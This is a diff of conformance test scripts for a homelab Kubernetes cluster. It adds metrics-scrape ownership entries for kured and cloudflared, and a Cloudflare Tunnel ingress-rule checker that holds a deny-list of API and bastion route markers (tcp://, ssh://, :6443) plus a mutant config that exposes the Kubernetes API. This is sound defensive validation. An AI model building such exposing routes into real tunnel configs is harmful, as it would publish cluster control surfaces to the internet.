+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no

conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh

@@ -237,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
                "backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
                "Velero itself publishes nothing until a backup is attempted",
     },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
+        "prefixes": ("kube_flux_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_flux_kustomization",
+            r"metricNamePrefix:\s*kube_flux_gitrepository",
+            # The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
+            # above: without read access to these two API groups KSM publishes the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
+            # leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
+            r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
+            r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
+            # A config-only edit does not restart KSM (the chart sets no checksum annotation over
+            # the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
+            # it and a future change to the flux collector set ships green and never takes effect.
+            r"homelab\.keithjackson\.dev/crs-config-rollout",
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
+               "revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
+               "ReconciliationSucceeded on every interval tick whether or not anything changed, so "
+               "without these metrics nothing can tell a deploy starting from an idle cluster",
+    },
     {
         "owner": "kube-prometheus-stack: bundled kube-state-metrics",
         "prefixes": ("kube_",),
@@ -338,6 +363,80 @@ SCRAPE_OWNERS: list[dict] = [
         "why": "velero_* powers VeleroBackupFailure / PartialFailure / NoRecentBackup — the rules "
                "that failed to notice prod running with zero volume backups",
     },
+    # ── ADDED 2026-10-17 (feat/automated-upgrades). A NEW OWNER, NOT A RELAXED ASSERTION. ──────
+    # This entry is purely additive: it registers a new metric family and its enablement, and it
+    # changes nothing about how any existing owner is evaluated. It makes the check STRICTER for the
+    # component it covers, not looser — it adds two `require` patterns plus a `companion` obligation
+    # that platform/kured must keep satisfying, so a future edit that disables kured's Service,
+    # ServiceMonitor or NetworkPolicy FAILS the gate instead of silently re-inerting three alerts.
+    #
+    # WHY THE CHECK HAD TO BE TOUCHED AT ALL, rather than the manifest being wrong: assertion (3)
+    # fails any alert over a metric no owner claims, and the escape hatch (KNOWN_UNWIRED_METRICS) is
+    # SHRINK-ONLY, so declaring `kured_*` as accepted debt is not permitted and would be the wrong
+    # answer anyway — the scrape genuinely IS wired here. The only two honest options were to
+    # register the owner (this) or to ship the reboot automation with no alerting at all, which for a
+    # component whose every failure mode is silent would have been the worse engineering choice.
+    # `conformance/**` is a sensitive approval path precisely so that this reasoning gets read.
+    {
+        "owner": "kured: service.create + metrics.create in the HelmRelease",
+        "prefixes": ("kured_",),
+        "file": "platform/kured/helmrelease.yaml",
+        # BOTH keys are required and the chart defaults BOTH to false. `metrics.create` makes the
+        # ServiceMonitor; `service.create` makes the Service it selects. Enable only the monitor and
+        # it selects nothing, so the single kured metric is never scraped — and a PrometheusRule over
+        # a series no target produces is INERT, which for this component means its own liveness
+        # alarm is the thing that breaks. Matched as two separate anchored blocks rather than one
+        # pattern because they are separate top-level values keys, not nested.
+        "require": [
+            r"service:\s*\n\s*create:\s*true",
+            r"metrics:\s*\n\s*create:\s*true",
+        ],
+        "forbid": [],
+        "why": "kured_reboot_required is the ONLY metric kured exposes (one GaugeVec, "
+               "cmd/kured/main.go:92-96) and it powers all three platform-health.node-reboots "
+               "rules. Those rules are the only way to learn that OS reboot automation has stalled: "
+               "kured stays 1/1 Running while rebooting nothing, so a missed scrape here is "
+               "indistinguishable from a cluster that needed no reboots",
+        # The ServiceMonitor ALONE is not sufficient — the same NetworkPolicy trap Longhorn hit.
+        "companion": {
+            "file": "platform/kured/kustomization.yaml",
+            "require": [r"^\s*-\s*networkpolicy\.yaml\s*$"],
+            "why": "platform/kured/networkpolicy.yaml ships a default-deny baseline (the kured "
+                   "namespace is a platform namespace, so Kyverno's app-namespace-scoped generator "
+                   "does not cover it) AND the ingress allow that lets Prometheus reach :8080 "
+                   "through it. Drop the networkpolicy from this kustomization and the deny-all "
+                   "goes too, so this currently fails SAFE — but reinstating the baseline without "
+                   "the allow reproduces Longhorn's measured failure exactly: targets DISCOVERED, "
+                   "every scrape 'context deadline exceeded', TSDB empty, all three rules quiet. "
+                   "Keeping the two in one file makes that pair inseparable",
+        },
+    },
+    # ── ADDED 2026-11-08 (feat/cloudflare-tunnel). A NEW OWNER, NOT A RELAXED ASSERTION. ───────
+    # Purely additive, the same shape as the kured entry: it registers the cloudflared_* family
+    # and the Service+ServiceMonitor that scrapes it, and makes the check STRICTER for that component.
+    {
+        "owner": "cloudflared: headless metrics Service + ServiceMonitor on port `metrics` (:2000)",
+        "prefixes": ("cloudflared_",),
+        "file": "platform/cloudflared/servicemonitor.yaml",
+        "require": [
+            r"^kind:\s*ServiceMonitor\s*$",
+            r"^kind:\s*Service\s*$",
+            r"^\s*-\s*port:\s*metrics\s*$",
+        ],
+        "forbid": [],
+        "why": "cloudflared_tunnel_ha_connections powers CloudflaredTunnelDown, the only signal "
+               "that the tunnel has lost the Cloudflare edge. That rule is written to FIRE on an "
+               "absent series, so a lost scrape is loud rather than inert — but it would then be "
+               "permanently firing for a wiring reason, which teaches the operator to ignore it",
+        "companion": {
+            "file": "platform/cloudflared/kustomization.yaml",
+            "require": [r"^\s*-\s*networkpolicy\.yaml\s*$"],
+            "why": "platform/cloudflared/networkpolicy.yaml ships the namespace's default-deny "
+                   "(a platform namespace, outside Kyverno's generator) together with the ingress "
+                   "allow for Prometheus on :2000. Keeping them in one file, applied together, is "
+                   "what stops a baseline-without-allow from emptying the TSDB",
+        },
+    },
 ]
 
 # `up` is produced by EVERY scrape target, so no owner can meaningfully claim it and assertion (1)

conformance/tests/l0-static/alert-rules-unit-tested/check.sh

@@ -29,7 +29,8 @@
 # THEN  (1) promtool is a PINNED member of the toolchain: PROMTOOL_VERSION is declared in BOTH
 #           infra/devcontainer/versions.env and ci/versions.env and the two AGREE (the repo's
 #           lockstep rule), the Containerfile takes it as a build ARG, installs it from the
-#           pinned prometheus release and records it for provenance, dev.sh passes it, and the
+#           pinned prometheus release and records it for provenance, build-image.sh (the one
+#           recipe `dev.sh build` and CI both use) passes it, and the
 #           CI runner installs it for the l0 stage;
 #       (2) the promtool ACTUALLY IN USE reports exactly that pinned version — a unit test is
 #           evidence only if the engine matches the one prod evaluates rules with;
@@ -246,10 +247,12 @@ check('echo "promtool=${PROMTOOL_VERSION}"' in cf_text,
       "infra/devcontainer/Containerfile does not record promtool in /etc/dev-toolchain-versions — "
       "that provenance line is how an operator tells a stale image from a current one")
 
-DEVSH = ROOT / "infra/devcontainer/dev.sh"
-check(DEVSH.is_file() and "--build-arg PROMTOOL_VERSION=" in DEVSH.read_text(),
-      "infra/devcontainer/dev.sh does not pass --build-arg PROMTOOL_VERSION — the ARG would be "
-      "empty and the build would fetch a bogus URL")
+# The build recipe moved from dev.sh into build-image.sh on 2026-10-29, so that `dev.sh build`
+# and the CI image pipeline (.gitea/workflows/images.yaml) share ONE recipe. Check the recipe.
+BUILDSH = ROOT / "infra/devcontainer/build-image.sh"
+check(BUILDSH.is_file() and '"PROMTOOL_VERSION=$PROMTOOL_VERSION"' in BUILDSH.read_text(),
+      "infra/devcontainer/build-image.sh does not pass PROMTOOL_VERSION in its BUILD_ARGS — the ARG "
+      "would be empty and the build would fetch a bogus URL")
 
 INSTALL = ROOT / ".gitea/workflows/scripts/install-tools.sh"
 if INSTALL.is_file():

conformance/tests/l0-static/cloudflared-ingress-rules/chainsaw-test.yaml

@@ -0,0 +1,47 @@
+# =============================================================================
+# L0 STATIC — the Cloudflare Tunnel exposes only what the operator decided, and cannot stall Flux
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# platform/cloudflared/config.yaml is the entire internet-facing surface of the tunnel. This test
+# asserts the operator decisions of 2026-11-08 against it on every gate run: no rule may target
+# anything but a 404 or the shared Gateway (so never the Kubernetes API); the LAN/VPN-only
+# hostnames (plex, jackett, pihole, semaphore, qbittorrent, radarr, sonarr, headlamp,
+# unifi, crafty-mc) 404 before the wildcard; the
+# egress policy admits no API/node entity; and the Flux tier is isolated (wait:false, nothing
+# dependsOn it, both overlays decrypt it). It proves itself non-vacuous by mutation. Rationale and
+# the honest NOT-proven list: check.sh.
+#
+# WHY SCOPE, NOT REQUIREMENTS: the property spans platform/cloudflared, platform/gateway (the
+# derived Service name), clusters/base and both overlays. A requirement-scoped selection would skip
+# it on, e.g., a Gateway rename — precisely a change that breaks it.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: cloudflared-ingress-rules
+  labels:
+    conformance.home.k3s/R-NET-01: "true"
+    conformance.home.k3s/R-NET-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-NET-01, R-NET-02"
+    conformance.home.k3s/layer: "L0"
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "true"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      The Cloudflare Tunnel routes only to the shared Gateway or a 404, never to the Kubernetes
+      API; the LAN/VPN-only hostnames 404 ahead of the wildcard; the connector's egress admits no
+      API or node entity; and its Flux tier cannot stall any other tier.
+spec:
+  steps:
+    - name: assert-tunnel-ingress-rules-and-isolation
+      description: >-
+        Parse platform/cloudflared/config.yaml with BASE_DOMAIN substituted, assert every rule's
+        target against the Gateway Service derived from platform/gateway/gateway.yaml, assert the
+        excluded hostnames 404 first, check the egress CiliumNetworkPolicy and the Flux wiring, and
+        run the evaluator on mutated configs to prove it is not vacuous; and assert the
+        credentials Secret volume is readable by the container's run-as uid/groups (fsGroup +
+        mode), self-tested by mutation.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/cloudflared-ingress-rules/check.sh

@@ -0,0 +1,321 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — cloudflared-ingress-rules
+# Serves: R-NET-01 / R-NET-02 (default-deny; allow rules declarative and scoped), and the four
+#         operator decisions of 2026-11-08 recorded in decisions/2026-11-08-cloudflare-tunnel.md.
+#
+# WHY THIS EXISTS. platform/cloudflared/config.yaml is the whole of what the internet can reach
+# through the Cloudflare Tunnel. A one-line edit there — a rule pointing at the Kubernetes API, a
+# LAN-only hostname moved below the wildcard, a dropped catch-all — publishes something the operator
+# decided must never be public, and nothing in the cluster turns red: the tunnel stays connected and
+# the Kustomization stays Ready. So the decisions are asserted here, on every gate run.
+#
+# GIVEN the repository as authored,
+# THEN  (1) every ingress rule's `service` is `http_status:404` or EXACTLY the shared Gateway's
+#           in-cluster Service, derived from platform/gateway/gateway.yaml (so a Gateway rename
+#           fails here rather than in production) — which by construction excludes the
+#           Kubernetes API, and a named deny-list says so explicitly when it is violated;
+#       (2) each LAN/VPN-only hostname (plex, plex-vip, jackett, pihole, pihole-dns, semaphore,
+#           qbittorrent, radarr, sonarr, headlamp, unifi, crafty-mc) has a rule mapping it to http_status:404 that comes BEFORE any
+#           Gateway-bound rule (cloudflared matches first-rule-wins);
+#       (3) the apex and the wildcard are the Gateway rules, with matchSNItoHost, and nothing
+#           disables origin TLS verification; the last rule is a hostname-less 404 catch-all;
+#       (4) the egress CiliumNetworkPolicy admits none of kube-apiserver/host/remote-node/
+#           cluster/all and no CIDR rule, and its backend selector excludes the LAN-only
+#           namespaces (the second, independent layer behind (2));
+#       (5) the Flux tier is ISOLATED: its own Kustomization, wait:false, not listed in
+#           platform/kustomization.yaml, nothing anywhere dependsOn it, and both overlays carry its
+#           SOPS decryption patch — so a missing or invalid credential can stall nothing else;
+#       (6) the rule evaluator is not vacuous: it is run against mutated copies of the real config
+#           (an API rule added, plex moved below the wildcard, the catch-all removed) and must
+#           flag each one;
+#   AND (7) every Secret volume the container mounts — the tunnel credentials above all — is
+#           READABLE by the container's run-as identity, modelled the way the kubelet lays it out:
+#           files owned by uid 0, group-owned by fsGroup if set (else gid 0), with the item mode or
+#           defaultMode (API default 0644). The identity is the container securityContext over
+#           the pod's; the process's groups are runAsGroup + fsGroup + supplementalGroups. An
+#           unset runAsUser is a FAIL, not a pass: the image default cannot be read offline. The
+#           model is deliberately conservative — it does not credit the kubelet's habit of
+#           OR-ing group-read into fsGroup-owned volumes, so 0400+fsGroup fails here though it
+#           would work. Self-tested by mutation (fsGroup removed; mode 0400; runAsUser unset).
+#           This is the 2026-11-08 CrashLoop: runAsUser 65532, no fsGroup, 0440 root:root.
+#
+# NOT proven (static): that Cloudflare routes only the hostnames whose DNS points at the tunnel,
+# that the Gateway's certificate validates from cloudflared, or that Envoy enforces (4) — those are
+# runtime properties, verified by the operator per runbooks/cloudflare-tunnel.md.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+exec python3 - "$ROOT" <<'PY'
+import copy
+import re
+import sys
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                   # pragma: no cover
+    print("CHECK FAIL (cloudflared-ingress-rules): PyYAML is required", file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+FAILURES, CHECKS = [], 0
+
+
+def check(cond, desc):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(desc)
+
+
+def docs(path):
+    return [d for d in yaml.safe_load_all(path.read_text()) if isinstance(d, dict)]
+
+
+COMP = ROOT / "platform" / "cloudflared"
+CONFIG = COMP / "config.yaml"
+if not CONFIG.is_file():
+    print(f"CHECK FAIL (cloudflared-ingress-rules): {CONFIG.relative_to(ROOT)} is absent — the "
+          "component this check guards was moved or deleted; re-point or delete this check in the "
+          "SAME change", file=sys.stderr)
+    raise SystemExit(1)
+
+# The hostnames the operator decided never go through the tunnel (decisions 2026-11-08).
+# headlamp: operator decision 2026-11-08 (LAN/VPN-only). qbittorrent/radarr/sonarr: catalog
+# `exposure: internal`, like jackett/pihole/semaphore.
+EXCLUDED_HOSTS = ("plex", "plex-vip", "jackett", "pihole", "pihole-dns", "semaphore",
+                  "qbittorrent", "radarr", "sonarr", "headlamp", "unifi", "crafty-mc")
+# Their Gateway-backend namespaces (unifi / crafty-mc are L4 VIPs, not Gateway backends).
+EXCLUDED_NAMESPACES = ("plex", "jackett", "pihole", "semaphore", "qbittorrent", "radarr",
+                       "sonarr", "headlamp")
+FORBIDDEN_ENTITIES = {"kube-apiserver", "host", "remote-node", "cluster", "all"}
+# Any of these in a `service` means a route toward the Kubernetes API (or a raw-TCP/SSH bastion).
+API_MARKERS = ("kubernetes", "kube-apiserver", "apiserver", ":6443", "10.43.0.1", "tcp://",
+               "ssh://", "unix:", "bastion")
+
+# ── substitution: ${BASE_DOMAIN} from cluster-vars, the ONLY token allowed ──────────────────────
+cv = next(d for d in docs(ROOT / "clusters" / "base" / "cluster-vars.yaml")
+          if d.get("kind") == "ConfigMap")
+base_domain = cv["data"]["BASE_DOMAIN"]
+raw = CONFIG.read_text()
+tokens = set(re.findall(r"\$\{([A-Za-z0-9_]+)\}", raw))
+check(tokens == {"BASE_DOMAIN"},
+      f"(0) config.yaml uses exactly the ${{BASE_DOMAIN}} token (found {sorted(tokens)}); any other "
+      f"token is substituted from cluster-vars unseen by this check")
+check(re.search(r"\$(?!\{BASE_DOMAIN\})", raw) is None,
+      "(0) config.yaml contains a bare `$` — Flux envsubst would rewrite or empty it")
+cfg = yaml.safe_load(raw.replace("${BASE_DOMAIN}", base_domain))
+
+# ── the Gateway Service, derived rather than hard-coded ─────────────────────────────────────────
+gw = next(d for d in docs(ROOT / "platform" / "gateway" / "gateway.yaml") if d.get("kind") == "Gateway")
+GATEWAY_SVC = (f"https://cilium-gateway-{gw['metadata']['name']}."
+               f"{gw['metadata']['namespace']}.svc.cluster.local:443")
+
+
+def evaluate(cfg):
+    """Return the list of rule violations for a parsed cloudflared config."""
+    bad = []
+    rules = cfg.get("ingress") or []
+    if len(rules) < len(EXCLUDED_HOSTS) + 3:
+        bad.append(f"only {len(rules)} ingress rules — the scan is vacuous")
+        return bad
+    for i, r in enumerate(rules):
+        svc = str(r.get("service", ""))
+        if any(m in svc.lower() for m in API_MARKERS):
+            bad.append(f"rule {i} ({r.get('hostname', '<catch-all>')}) targets {svc!r}, which "
+                       f"is a route toward the Kubernetes API / a raw bastion — the API stays "
+                       f"local-only (operator decision 2026-11-08)")
+        if svc not in ("http_status:404", GATEWAY_SVC):
+            bad.append(f"rule {i} ({r.get('hostname', '<catch-all>')}) targets {svc!r}; only "
+                       f"http_status:404 or {GATEWAY_SVC} are permitted")
+        if (r.get("originRequest") or {}).get("noTLSVerify"):
+            bad.append(f"rule {i} disables origin TLS verification (noTLSVerify)")
+    if (cfg.get("originRequest") or {}).get("noTLSVerify"):
+        bad.append("top-level originRequest disables origin TLS verification (noTLSVerify)")
+
+    gw_idx = [i for i, r in enumerate(rules) if r.get("service") == GATEWAY_SVC]
+    first_gw = min(gw_idx) if gw_idx else len(rules)
+    for h in EXCLUDED_HOSTS:
+        fqdn = f"{h}.{base_domain}"
+        hits = [i for i, r in enumerate(rules) if r.get("hostname") == fqdn]
+        if not hits:
+            bad.append(f"no rule for LAN/VPN-only host {fqdn}; it would fall through to the "
+                       f"wildcard and reach the Gateway")
+            continue
+        i = hits[0]
+        if rules[i].get("service") != "http_status:404":
+            bad.append(f"{fqdn} maps to {rules[i].get('service')!r}, not http_status:404")
+        if i > first_gw:
+            bad.append(f"{fqdn}'s 404 rule (#{i}) comes AFTER the first Gateway rule (#{first_gw}); "
+                       f"cloudflared is first-match, so the Gateway rule wins")
+
+    gw_hosts = {rules[i].get("hostname") for i in gw_idx}
+    if gw_hosts != {base_domain, f"*.{base_domain}"}:
+        bad.append(f"the Gateway-bound hostnames are {sorted(map(str, gw_hosts))}; expected "
+                   f"exactly the apex and the wildcard")
+    for i in gw_idx:
+        if (rules[i].get("originRequest") or {}).get("matchSNItoHost") is not True:
+            bad.append(f"Gateway rule #{i} lacks originRequest.matchSNItoHost: true — the Gateway "
+                       f"would not see the SNI that selects its wildcard certificate")
+    last = rules[-1]
+    if "hostname" in last or last.get("service") != "http_status:404":
+        bad.append("the last rule is not a hostname-less http_status:404 catch-all")
+    return bad
+
+
+# (1)-(3) the real config
+for v in evaluate(cfg):
+    check(False, f"(1-3) {v}")
+check(str(cfg.get("credentials-file", "")).startswith("/etc/cloudflared/creds/"),
+      "(3) credentials-file points into the mounted Secret volume")
+
+# (6) mutation self-test — the evaluator must flag each broken variant
+mutants = {}
+m = copy.deepcopy(cfg)
+m["ingress"].insert(0, {"hostname": f"k8s.{base_domain}",
+                        "service": "https://kubernetes.default.svc:443"})
+mutants["API rule added"] = m
+m = copy.deepcopy(cfg)
+plex = next(r for r in m["ingress"] if r.get("hostname") == f"plex.{base_domain}")
+m["ingress"].remove(plex)
+m["ingress"].insert(len(m["ingress"]) - 1, plex)
+mutants["plex moved below the wildcard"] = m
+m = copy.deepcopy(cfg)
+m["ingress"] = m["ingress"][:-1]
+mutants["catch-all removed"] = m
+for name, mut in mutants.items():
+    check(evaluate(mut), f"(6) self-test: the evaluator did NOT flag the mutant '{name}' — the "
+                         f"check is vacuous")
+
+# (4) the egress policy
+np_docs = docs(COMP / "networkpolicy.yaml")
+cnps = [d for d in np_docs if d.get("kind") == "CiliumNetworkPolicy"]
+check(len(cnps) == 1, f"(4) exactly one CiliumNetworkPolicy in networkpolicy.yaml (found {len(cnps)})")
+for cnp in cnps:
+    for i, rule in enumerate(cnp["spec"].get("egress") or []):
+        ents = set(rule.get("toEntities") or [])
+        check(not (ents & FORBIDDEN_ENTITIES),
+              f"(4) egress rule {i} admits {sorted(ents & FORBIDDEN_ENTITIES)} — that reaches the "
+              f"Kubernetes API or the nodes; the API stays local-only")
+        check(not (rule.get("toCIDR") or rule.get("toCIDRSet")),
+              f"(4) egress rule {i} uses a CIDR — a CIDR can name the API VIP; use entities")
+        for ep in rule.get("toEndpoints") or []:
+            notin = [e for e in ep.get("matchExpressions") or []
+                     if e.get("key") == "io.kubernetes.pod.namespace" and e.get("operator") == "NotIn"]
+            missing = set(EXCLUDED_NAMESPACES) - set(notin[0]["values"] if notin else [])
+            check(not missing,
+                  f"(4) backend selector in egress rule {i} does not exclude {sorted(missing)}")
+for d in np_docs:
+    if d.get("kind") == "NetworkPolicy" and d["metadata"]["name"] == "default-deny":
+        check(set(d["spec"].get("policyTypes", [])) == {"Ingress", "Egress"},
+              "(4) default-deny covers both directions")
+        break
+else:
+    check(False, "(4) networkpolicy.yaml ships no default-deny baseline for the namespace")
+
+# (5) Flux isolation
+fk = next(d for d in docs(ROOT / "clusters" / "base" / "cloudflared.yaml")
+          if d.get("kind") == "Kustomization")
+check(fk["spec"].get("wait") is False,
+      "(5) clusters/base/cloudflared.yaml must be wait: false — its pods are legitimately not-Ready "
+      "until the tunnel is enrolled")
+check(fk["spec"].get("path") == "./platform/cloudflared", "(5) the Kustomization reconciles ./platform/cloudflared")
+check("cloudflared.yaml" in (ROOT / "clusters" / "base" / "kustomization.yaml").read_text(),
+      "(5) clusters/base/kustomization.yaml lists cloudflared.yaml")
+check("cloudflared" not in (ROOT / "platform" / "kustomization.yaml").read_text(),
+      "(5) platform/kustomization.yaml must not include cloudflared — that is the gating tier")
+for f in sorted((ROOT / "clusters").rglob("*.yaml")):
+    for d in docs(f):
+        for dep in (d.get("spec") or {}).get("dependsOn") or []:
+            check(not (isinstance(dep, dict) and dep.get("name") == "cloudflared"),
+                  f"(5) {f.relative_to(ROOT)} {d.get('metadata', {}).get('name')} dependsOn "
+                  f"cloudflared — that hands an unenrolled tunnel the power to stall it")
+for env in ("dev", "prod"):
+    text = (ROOT / "clusters" / env / "kustomization.yaml").read_text()
+    check(re.search(r"name:\s*cloudflared\s*\n\s*namespace:\s*flux-system\s*\n\s*spec:\s*\n"
+                    r"\s*decryption:", text) is not None,
+          f"(5) clusters/{env}/kustomization.yaml carries the cloudflared SOPS decryption patch")
+
+dep = next(d for d in docs(COMP / "deployment.yaml") if d.get("kind") == "Deployment")
+check(dep["spec"].get("replicas", 1) >= 2, "(5) the Deployment runs at least 2 replicas")
+check(dep["spec"]["template"]["metadata"]["labels"].get("homelab.keithjackson.dev/egress-class")
+      == "internet",
+      "(4) the pods are egress-class=internet — vpn would put the edge connections behind PIA")
+check(dep["spec"]["template"]["spec"].get("automountServiceAccountToken") is False,
+      "(4) the pods mount no ServiceAccount token")
+
+# (7) the credentials Secret is readable by the run-as identity
+def unreadable_secret_volumes(pod_spec):
+    """Return a description per Secret volume the containers mount but cannot read."""
+    bad = []
+    psc = pod_spec.get("securityContext") or {}
+    vols = {v["name"]: v for v in pod_spec.get("volumes") or [] if "secret" in v}
+    for c in (pod_spec.get("initContainers") or []) + (pod_spec.get("containers") or []):
+        csc = c.get("securityContext") or {}
+        uid = csc.get("runAsUser", psc.get("runAsUser"))
+        gid = csc.get("runAsGroup", psc.get("runAsGroup"))
+        fs_group = psc.get("fsGroup")
+        groups = {g for g in [gid, fs_group, *(psc.get("supplementalGroups") or [])]
+                  if g is not None}
+        for vm in c.get("volumeMounts") or []:
+            v = vols.get(vm["name"])
+            if v is None:
+                continue
+            sec = v["secret"]
+            if uid is None:
+                bad.append(f"container {c['name']} mounts Secret volume {vm['name']} but sets no "
+                           f"runAsUser (pod or container) — readability cannot be proven offline")
+                continue
+            default = sec.get("defaultMode", 0o644)
+            modes = [it.get("mode", default) for it in sec.get("items") or []] or [default]
+            owner_gid = fs_group if fs_group is not None else 0
+            for mode in modes:
+                readable = ((uid == 0 and mode & 0o400) or (owner_gid in groups and mode & 0o040)
+                            or mode & 0o004)
+                if not readable:
+                    bad.append(f"container {c['name']} (uid {uid}, groups {sorted(groups)}) cannot "
+                               f"read Secret volume {vm['name']} ({sec.get('secretName')}): files "
+                               f"are 0:{owner_gid} mode {mode:04o} — set pod fsGroup to a group "
+                               f"the container runs with, keeping 0440")
+    return bad
+
+
+pod_spec = dep["spec"]["template"]["spec"]
+creds_vol = [v for v in pod_spec.get("volumes") or []
+             if (v.get("secret") or {}).get("secretName") == "cloudflared-credentials"]
+check(len(creds_vol) == 1, "(7) the Deployment mounts Secret cloudflared-credentials as a volume")
+for v in unreadable_secret_volumes(pod_spec):
+    check(False, f"(7) {v}")
+sec_mutants = {}
+m = copy.deepcopy(pod_spec)
+m["securityContext"].pop("fsGroup", None)
+m["securityContext"].pop("supplementalGroups", None)
+sec_mutants["fsGroup removed"] = m
+m = copy.deepcopy(pod_spec)
+for v in m["volumes"]:
+    if "secret" in v:
+        v["secret"]["defaultMode"] = 0o400
+        for it in v["secret"].get("items") or []:
+            it["mode"] = 0o400
+sec_mutants["mode 0400"] = m
+m = copy.deepcopy(pod_spec)
+m["securityContext"].pop("runAsUser", None)
+for c in m["containers"]:
+    (c.get("securityContext") or {}).pop("runAsUser", None)
+sec_mutants["runAsUser unset"] = m
+for name, mut in sec_mutants.items():
+    check(unreadable_secret_volumes(mut),
+          f"(7) self-test: the readability model did NOT flag the mutant '{name}' — vacuous")
+
+if CHECKS < 25:
+    FAILURES.append(f"only {CHECKS} assertions ran — the check degenerated")
+if FAILURES:
+    print(f"CHECK FAIL (cloudflared-ingress-rules): {len(FAILURES)} of {CHECKS} assertions failed",
+          file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"PASS (cloudflared-ingress-rules): {CHECKS} assertions")
+PY

conformance/tests/l0-static/ha-control-plane-as-code/check.sh

@@ -445,8 +445,21 @@ join = re.search(r"--server https://\{\{\s*k3s_api_host", K3S_TEXT)
 check(join is not None,
       "roles/k3s_server does not join secondaries with `--server https://{{ k3s_api_host }}` "
       "— without a join target the servers are separate single-node clusters")
-join_when = re.search(r"--server https://.*?\n(?:.*\n){0,10}?\s*when:\s*k3s_server_mode\s*==\s*'secondary'",
-                      K3S_TEXT, re.S)
+# LINE-BOUNDED ON PURPOSE -- DO NOT "SIMPLIFY" BACK TO `.*` + re.S.
+# This was `--server https://.*?\n(?:.*\n){0,10}?\s*when:...` with re.S, which made every `.`
+# match newlines too. That is nested unbounded repetition (a `{0,10}` of a quantifier that can each
+# swallow the whole document), so a FAILED or late match backtracks exponentially. It cost
+# **19m54s of CPU in CI** (measured 2026-10-18 via `docker top` on the live job container) and made
+# the whole merge gate take ~28 minutes instead of ~2 on any change touching `infra/**` -- because
+# `ci/touched-requirements.sh` maps `infra/*` to R-ENV-01, which pulls in this whole-repo check.
+# It was latent for as long as the regex existed and only crossed the threshold when
+# roles/k3s_server grew by ~100 lines (the kubelet graceful-shutdown config, PR #71): K3S_TEXT is
+# every *.yml in that role concatenated, so the role growing is the input growing.
+# `[^\n]*` cannot cross a line, so the `{0,10}` is a genuine ten-line window with nothing to
+# backtrack into. Measured on the same input: 0.2 ms, same verdict (match found).
+join_when = re.search(
+    r"--server https://[^\n]*\n(?:[^\n]*\n){0,10}?[ \t]*when:[ \t]*k3s_server_mode[ \t]*==[ \t]*'secondary'",
+    K3S_TEXT)
 check(join_when is not None,
       "the join install task is not gated on k3s_server_mode == 'secondary' — the founder "
       "would also try to join itself")

conformance/tests/l0-static/internal-services-publish-no-public-dns/chainsaw-test.yaml

@@ -92,9 +92,10 @@
 #     the NAME axis only. R-NET-04 / the edge port-forward posture owns the other.
 #   - Anything about the seven non-catalog publishers' own correctness. The register records WHAT
 #     each publishes so the claim is reviewable, which is all a static check can offer.
-#   - Anything about the five `public` services' TARGET. They still resolve to the Gateway VIP
-#     rather than a routable address; that is an open operator decision recorded in
-#     platform/externaldns/helmrelease.yaml, and asserting a target here would hard-code a guess.
+#   - That the public names RESOLVE to Cloudflare at runtime. check.sh (9) pins the TREE: the
+#     Gateway target is the tunnel UUID in platform/cloudflared/config.yaml, proxying is on, the L4
+#     `service` publishers opt out, and every name the tunnel 404s is unpublished. Whether Cloudflare
